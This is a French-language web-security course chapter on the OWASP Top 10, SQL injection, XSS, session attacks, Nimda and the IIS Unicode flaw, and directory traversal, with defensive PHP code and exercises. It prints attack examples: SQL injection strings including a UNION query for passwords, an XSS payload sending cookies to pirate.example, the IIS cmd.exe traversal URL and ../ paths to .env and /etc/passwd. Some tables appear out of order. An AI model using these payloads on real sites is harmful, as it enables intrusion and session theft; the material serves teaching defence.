Module 1Introduire la sécurité informatique
Chapitre 2 sur 9
L'OWASP Top 10 (2021 et 2025), l'injection SQL, les trois types de XSS, les attaques sur les sessions, Nimda et la faille Unicode, les mots de passe par défaut et la traversée de répertoire.
Objectifs
Avec ce chapitre, tu sauras…
Ce chapitre couvre la première moitié du chapitre officiel 2 « Comprendre les types d'attaques des systèmes informatiques » : les attaques qui visent directement une application web et son serveur. Tu en as déjà rencontré certaines au M107 (chapitre 8) : ici, on les étudie du point de vue de l'attaquant pour mieux comprendre chaque parade.
Leçon 1
Tableau: L'édition 2021, celle du résumé
| Rang | Catégorie (2021) | En une phrase |
|---|---|---|
| A01 | Contrôle d'accès défaillant (Broken Access Control) | un utilisateur accède à ce qui ne lui est pas permis : facture.php?id=1043 montre la facture d'un autre client |
| A02 | Défaillances cryptographiques | données sensibles en clair, HTTP au lieu de HTTPS, mots de passe hachés avec MD5 |
| A03 | Injection | SQL, commandes système, LDAP… et le XSS, rattaché à cette catégorie depuis 2021 |
| A04 | Conception non sécurisée (Insecure Design) | la faille est dans le plan, pas dans le code : pas de limite au nombre d'essais de mot de passe |
| A05 | Mauvaise configuration de sécurité | mots de passe par défaut, messages d'erreur détaillés, listage des répertoires activé |
| A06 | Composants vulnérables et obsolètes | une bibliothèque ou un CMS jamais mis à jour |
| A07 | Défaillances d'identification et d'authentification | mots de passe faibles acceptés, sessions qui n'expirent pas |
| A08 | Défaillances d'intégrité des logiciels et des données | mise à jour téléchargée sans vérifier sa signature, désérialisation de données non fiables |
| A09 | Défaillances de journalisation et de surveillance | une attaque passe inaperçue faute de journaux et d'alertes |
| A10 | Falsification de requête côté serveur (SSRF) | le serveur est poussé à appeler une URL choisie par le pirate, par exemple un service interne |
| Rang | Catégorie (2025) | Changement |
|---|---|---|
| A01 | Contrôle d'accès défaillant | reste n° 1 ; la SSRF y est intégrée |
| A02 | Mauvaise configuration de sécurité | monte de la 5e à la 2e place |
| A03 | Défaillances de la chaîne d'approvisionnement logicielle | nouvelle, élargit les « composants vulnérables » : dépendances, outils de build, paquets piégés |
| A04 | Défaillances cryptographiques | descend de deux places |
| A05 | Injection |
Leçon 2
' ferme la chaîneLa valeur de email devient la chaîne vide ''.OR '1'='1' ajoute une condition toujours vraieLa clause WHERE est vraie pour toutes les lignes.-- commente la finLa vérification du mot de passe est neutralisée.Leçon 3
| Type | Où est le script ? | Exemple |
|---|---|---|
| XSS stocké (persistant) | enregistré dans la base du site, puis affiché à tous les visiteurs | un commentaire contenant <script> sur un forum |
| XSS réfléchi (non persistant) | dans un paramètre de l'URL, renvoyé immédiatement dans la page | recherche.php?q=<script>…</script> envoyé par e-mail à la victime |
| XSS basé sur le DOM |
Leçon 4
| Attaque | Principe | Parade |
|---|---|---|
| empoisonnement de cookie (cookie poisoning) | modifier un cookie dont le serveur se sert pour décider : role=stagiaire devient role=admin, prix=500 devient prix=5 | ne jamais stocker de donnée de confiance dans un cookie : la garder en session côté serveur, ou signer le cookie |
| prédiction de session | deviner un identifiant s'il est généré de façon prévisible (compteur, date) | identifiants longs et aléatoires (c'est le cas de PHP par défaut) |
| reniflage (session sniffing) | capturer le cookie en écoutant le réseau (Wi-Fi public) |
Leçon 5
| Vecteur de Nimda | Comment |
|---|---|
| courrier électronique | une pièce jointe readme.exe qui pouvait s'exécuter à la simple prévisualisation du message dans les anciennes versions d'Outlook |
| serveurs web IIS | exploitation de la faille Unicode (traversée de répertoire) et des portes dérobées laissées par le ver Code Red II |
| sites web infectés | ajout d'un script aux pages : les visiteurs avec un navigateur non à jour étaient infectés |
| partages réseau |
Leçon 6
| Appel | Résultat |
|---|---|
fichierSur('planning.txt') | le chemin complet du fichier : autorisé |
fichierSur('../.env') | null : le chemin final est hors de documents |
fichierSur('/etc/passwd') | null |
fichierSur('inexistant.txt') | null : realpath renvoie false |
1La catégorie n° 1 de l'OWASP Top 10 (2021 et 2025) est…
2Un XSS enregistré dans la base et affiché à tous les visiteurs est…
3La parade principale contre l'injection SQL est…
4Pour insérer une donnée comme du texte en JavaScript, on utilise…
5session_regenerate_id(true) après la connexion protège contre…
6Le ver Nimda est apparu en…
7telecharger.php?f=../../.env est une attaque par…
8Un cheval de Troie qui modifie les virements directement dans le navigateur réalise une attaque…
L'essentiel du chapitre
htmlspecialchars, textContent, cookies HttpOnly, CSP.Secure, HttpOnly, SameSite, session_regenerate_id.realpath + vérification du dossier, liste blanche, moindre privilège.| descend de deux places |
| A06 | Conception non sécurisée |
| A07 | Défaillances d'authentification | nom raccourci |
| A08 | Défaillances d'intégrité des logiciels ou des données |
| A09 | Défaillances de journalisation et d'alerte | insiste sur l'alerte, pas seulement la surveillance |
| A10 | Mauvaise gestion des conditions exceptionnelles | nouvelle : erreurs mal gérées, application qui « échoue ouverte » |
Règle
La parade : les requêtes préparées
| Mesure | Rôle |
|---|---|
requêtes préparées (PDO prepare/execute) | la parade principale : sépare le code et les données |
| validation des entrées | refuser ce qui ne ressemble pas à la donnée attendue (filter_var($email, FILTER_VALIDATE_EMAIL)) |
| moindre privilège sur le compte MySQL | le compte de l'application n'a pas le droit DROP ni l'accès aux autres bases |
| messages d'erreur génériques | ne jamais afficher l'erreur SQL au visiteur : elle guide le pirate |
Vidéo · À regarder
ENHacking Websites with SQL Injection - Computerphile
Computerphile · YouTube
un script qui lit location.search et l'écrit avec innerHTML |
| Défense | Contre quoi |
|---|---|
échapper à l'affichage (htmlspecialchars en PHP) | XSS stocké et réfléchi |
textContent au lieu de innerHTML en JavaScript | XSS basé sur le DOM |
cookies de session HttpOnly | empêche le script volé de lire le cookie de session |
| en-tête Content-Security-Policy (CSP) | le navigateur refuse les scripts qui ne viennent pas des sources autorisées : Content-Security-Policy: script-src 'self' bloque les scripts en ligne et ceux des autres domaines |
| validation des entrées | refuser les données inattendues (mais ce n'est jamais suffisant seul) |
HTTPS partout et cookies Secure |
| vol par XSS | un script injecté envoie document.cookie au pirate | échapper les sorties et cookies HttpOnly |
| homme du milieu (MitM) | le pirate s'intercale entre le client et le serveur (faux point d'accès Wi-Fi, ARP spoofing) et lit ou modifie le trafic | HTTPS avec certificat vérifié, en-tête HSTS |
| homme du navigateur (MitB) | un cheval de Troie installé dans le navigateur de la victime modifie les pages et les formulaires (montant et bénéficiaire d'un virement) | antivirus, mises à jour, confirmation des opérations sensibles sur un autre canal (code par SMS ou application) |
| fixation de session | le pirate impose à la victime un identifiant qu'il connaît, puis attend qu'elle se connecte | session_regenerate_id(true) juste après la connexion |
| Contre-mesure du frontal HTTP | |
|---|---|
| appliquer les correctifs de sécurité dès leur publication | la faille Unicode était corrigée un an avant Nimda : les serveurs touchés n'étaient pas à jour |
| désactiver les services et les scripts inutiles | moins de surface d'attaque |
| exécuter le serveur avec un compte sans privilèges | une faille ne donne pas les droits administrateur |
| placer un pare-feu applicatif (WAF) devant le serveur | il bloque les URL suspectes (chapitre 8) |
Méthode
Les trois niveaux de défense (résumé)
Le résumé réutilise le titre « Conception non sécurisée » pour la catégorie A05, qui est en réalité la mauvaise configuration de sécurité, et illustre la catégorie A09 (journalisation) avec un scénario de SSRF, qui correspond à la catégorie A10. Le tableau ci-dessus remet chaque catégorie à sa place.
L'édition 2025
L'OWASP a publié une nouvelle édition, l'OWASP Top 10:2025. Elle confirme les grandes tendances et apporte deux nouveautés.
L'examen s'appuie sur le résumé, donc sur l'édition 2021. Retiens surtout les trois premières catégories (contrôle d'accès, cryptographie, injection) et sache expliquer chaque catégorie avec un exemple. Connaître l'existence de l'édition 2025 montre que tu suis l'actualité.
Une injection se produit quand une donnée fournie par l'utilisateur est mélangée au code d'une commande (SQL, commande système, requête LDAP) sans être séparée de lui. Le pirate écrit alors une donnée qui termine la partie prévue et ajoute ses propres instructions.
<?php
$email = $_POST['email'];
$mdp = $_POST['mot_de_passe'];
$sql = "SELECT id, email, role FROM utilisateurs
WHERE email = '$email' AND mot_de_passe = '$mdp'";
$resultat = $pdo->query($sql); // la donnée est collée dans le code SQLLe pirate tape dans le champ e-mail : ' OR '1'='1' -- (avec un espace à la fin) et n'importe quoi comme mot de passe. La requête envoyée à la base devient :
SELECT id, email, role FROM utilisateurs
WHERE email = '' OR '1'='1' -- ' AND mot_de_passe = 'nimporte'Ce qui se passe
Le cross-site scripting (XSS) consiste à faire exécuter du JavaScript du pirate dans le navigateur d'autres visiteurs, sur le site légitime. Le script s'exécute avec les droits du site : il peut lire les cookies non protégés, modifier la page, envoyer des requêtes au nom de la victime ou afficher un faux formulaire de connexion.
Tableau: Les trois types de XSS
Rappel du M107 : après la connexion, le serveur reconnaît l'utilisateur grâce à un identifiant de session stocké dans un cookie (PHPSESSID). Celui qui possède cet identifiant est l'utilisateur aux yeux du serveur. Les attaques sur les sessions cherchent donc à voler, deviner, imposer ou modifier cet identifiant ou les cookies.
Le frontal HTTP est le serveur web exposé à Internet (Apache, Nginx, IIS) : c'est la première machine que le pirate atteint. Une faille dans ce logiciel touche tous les sites qu'il héberge.
Le ver Nimda (2001)
Nimda (« admin » écrit à l'envers) est apparu le 18 septembre 2001 et est devenu en quelques heures l'un des vers les plus répandus d'Internet. Sa force : plusieurs modes de propagation à la fois, ce qui en fait un exemple de menace « multi-vecteurs ».
Les mots de passe par défaut
Les routeurs, caméras IP, imprimantes, bases de données et CMS sont livrés avec des identifiants par défaut (admin/admin, root sans mot de passe dans XAMPP). Ces listes sont publiques : des robots scannent Internet en permanence pour les essayer. Le botnet Mirai (2016) a ainsi infecté des centaines de milliers de caméras et d'enregistreurs vidéo, simplement avec une liste d'une soixantaine de couples d'identifiants par défaut.
Contre les identifiants par défaut
La traversée de répertoire
La traversée de répertoire (directory traversal ou path traversal) consiste à manipuler un chemin de fichier fourni par l'utilisateur pour lire (ou écrire) des fichiers en dehors du dossier prévu : fichiers de configuration, mots de passe, code source.
<?php
// prévu pour : telecharger.php?f=planning.pdf
$fichier = __DIR__ . '/documents/' . $_GET['f'];
readfile($fichier);
// attaque : telecharger.php?f=../.env ou ?f=../../../../etc/passwdLe pirate utilise des chemins relatifs (../ remonte d'un dossier) ou des chemins absolus, éventuellement encodés (..%2F, comme pour la faille Unicode), jusqu'à trouver un fichier intéressant.
<?php
function fichierSur(string $nom): ?string
{
$base = realpath(__DIR__ . '/documents'); // chemin absolu du dossier autorisé
$chemin = realpath($base . DIRECTORY_SEPARATOR . $nom); // chemin final, ../ résolus
if ($chemin === false || !str_starts_with($chemin, $base . DIRECTORY_SEPARATOR)) {
return null; // inexistant ou hors du dossier
}
return $chemin;
}
$chemin = fichierSur($_GET['f'] ?? '');
if ($chemin === null) {
http_response_code(404);
exit('Fichier introuvable.');
}
readfile($chemin);Voici un extrait de l'application de gestion de stagiaires. Trouve les cinq failles, classe chacune dans une catégorie OWASP 2021, puis écris le code corrigé.
<?php
session_start();
$id = $_GET['id'];
$s = $pdo->query("SELECT * FROM stagiaires WHERE id = $id")->fetch();
echo "<h1>Fiche de " . $s['prenom'] . "</h1>";
echo "<img src='photos/" . $_GET['photo'] . "'>";
if ($_COOKIE['role'] == 'admin') {
echo "<a href='supprimer.php?id=$id'>Supprimer</a>";
}Le code $sql = "SELECT * FROM produits WHERE categorie = '$cat'"; reçoit $cat depuis l'URL. Écris la requête obtenue pour : (1) livres ; (2) livres' OR 1=1 -- ; (3) x' UNION SELECT email, mot_de_passe, 1, 1 FROM utilisateurs -- . Explique ce que le pirate obtient dans les cas 2 et 3, puis réécris le code de façon sûre.
Ce code affiche le prénom saisi dans un formulaire : document.querySelector('#bonjour').innerHTML = 'Bonjour ' + champPrenom.value + ' !';. (1) De quel type de XSS s'agit-il ? (2) Donne une saisie qui exécute du code. (3) Corrige la ligne. (4) Le même prénom est ensuite enregistré dans la base et affiché sur la page d'accueil de l'administrateur par echo $prenom; : quel type de XSS apparaît, et comment le corriger ?
Avec une requête préparée, le code SQL est envoyé à la base d'abord, avec des marqueurs ? ; les données sont envoyées ensuite, séparément. La base sait que ce sont des valeurs, jamais du code : ' OR '1'='1' -- est alors cherché comme une adresse e-mail, et aucune ligne n'est trouvée.
<?php
$stmt = $pdo->prepare('SELECT id, email, mot_de_passe, role FROM utilisateurs WHERE email = ?');
$stmt->execute([$_POST['email'] ?? '']);
$u = $stmt->fetch();
if ($u && password_verify($_POST['mot_de_passe'] ?? '', $u['mot_de_passe'])) {
// connexion réussie (le mot de passe est haché : chapitre 6)
}Une injection SQL sur un vrai formulaire PHP, puis pourquoi elle fonctionne (en anglais).
1. le pirate publie un commentaire : Super cours ! <img src=x onerror="fetch('https://pirate.example/?c='+document.cookie)">
2. le site l'enregistre tel quel dans la table commentaires
3. Sara ouvre la page : le navigateur reçoit le commentaire comme du HTML
4. l'image échoue à charger, onerror s'exécute : le cookie de Sara part chez le pirateSe protéger côté serveur : échapper à l'affichage
<?php
foreach ($commentaires as $c) {
echo '<p>' . htmlspecialchars($c['texte'], ENT_QUOTES, 'UTF-8') . '</p>';
}
// <img src=x onerror="..."> devient <img src=x onerror="..."> : du texte, plus du HTMLSe protéger côté client : textContent au lieu de innerHTML
const q = new URLSearchParams(location.search).get('q'); // contrôlé par le pirate
// FAILLE : la chaîne est interprétée comme du HTML
document.querySelector('#resultat').innerHTML = 'Résultats pour : ' + q;
// CORRECT : la chaîne est insérée comme du texte, les balises restent visibles et inertes
document.querySelector('#resultat').textContent = 'Résultats pour : ' + q;Avec l'URL recherche.html?q=<img src=x onerror=alert(1)>, la première ligne crée un vrai élément <img> et exécute le code ; la seconde affiche simplement le texte <img src=x onerror=alert(1)>.
Supprimer la chaîne <script> ne protège pas : il existe des dizaines d'autres façons d'exécuter du JavaScript (onerror, onload, <svg onload>, javascript: dans un lien). La seule parade fiable est d'échapper au moment de l'affichage, selon le contexte (HTML, attribut, URL, JavaScript).
Le détournement de session (session hijacking) désigne toute attaque qui aboutit à ce que le pirate utilise la session authentifiée d'une victime, sans connaître son mot de passe. La prédiction, le reniflage, le vol par XSS et la fixation en sont les techniques.
<?php
session_set_cookie_params([
'lifetime' => 0, // cookie supprimé à la fermeture du navigateur
'path' => '/',
'secure' => true, // seulement en HTTPS
'httponly' => true, // invisible pour JavaScript
'samesite' => 'Lax', // pas envoyé par les formulaires POST d'autres sites
]);
session_start();Le résumé écrit tour à tour « Nimda.dll » et « minda.dll ». Le nom du ver est Nimda ; la coquille « minda » n'a pas de sens.
La faille Unicode des serveurs IIS
Un serveur web doit interdire les chemins contenant ../, qui permettent de remonter au-dessus du dossier public. Les anciennes versions de IIS (4 et 5) vérifiaient cette interdiction avant de décoder les caractères Unicode. En codant la barre oblique / d'une façon non standard en UTF-8 (%c0%af, un encodage trop long), le pirate passait le contrôle ; le serveur décodait ensuite le chemin et exécutait la commande :
http://serveur-iis/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
└──┬──┘
décodé APRÈS le contrôle en ../ : on sort du dossier /scriptsDécoder et normaliser d'abord, contrôler ensuite. Toute vérification de sécurité doit porter sur la donnée sous sa forme finale, après décodage des URL, de l'Unicode et des chemins (realpath en PHP). Une vérification faite sur la forme brute peut être contournée par un encodage différent.
realpath et vérification du préfixe, ou mieux, une liste blanche des fichiers autorisés (['planning.pdf', 'reglement.pdf']), ou des identifiants numériques au lieu de noms de fichiers.../, %2e%2e, caractère nul) : c'est le rôle d'un WAF./etc/shadow.Nomme l'attaque et la parade : (1) un site de vente stocke total=850 dans un cookie et le relit au paiement ; (2) un café propose un Wi-Fi gratuit nommé « Free_WiFi_Marjane » qui n'appartient pas au magasin ; (3) un lien reçu contient ?PHPSESSID=abc123 et la victime se connecte depuis ce lien ; (4) une caméra IP a gardé le mot de passe 12345 ; (5) GET /images/..%2f..%2fconfig.php.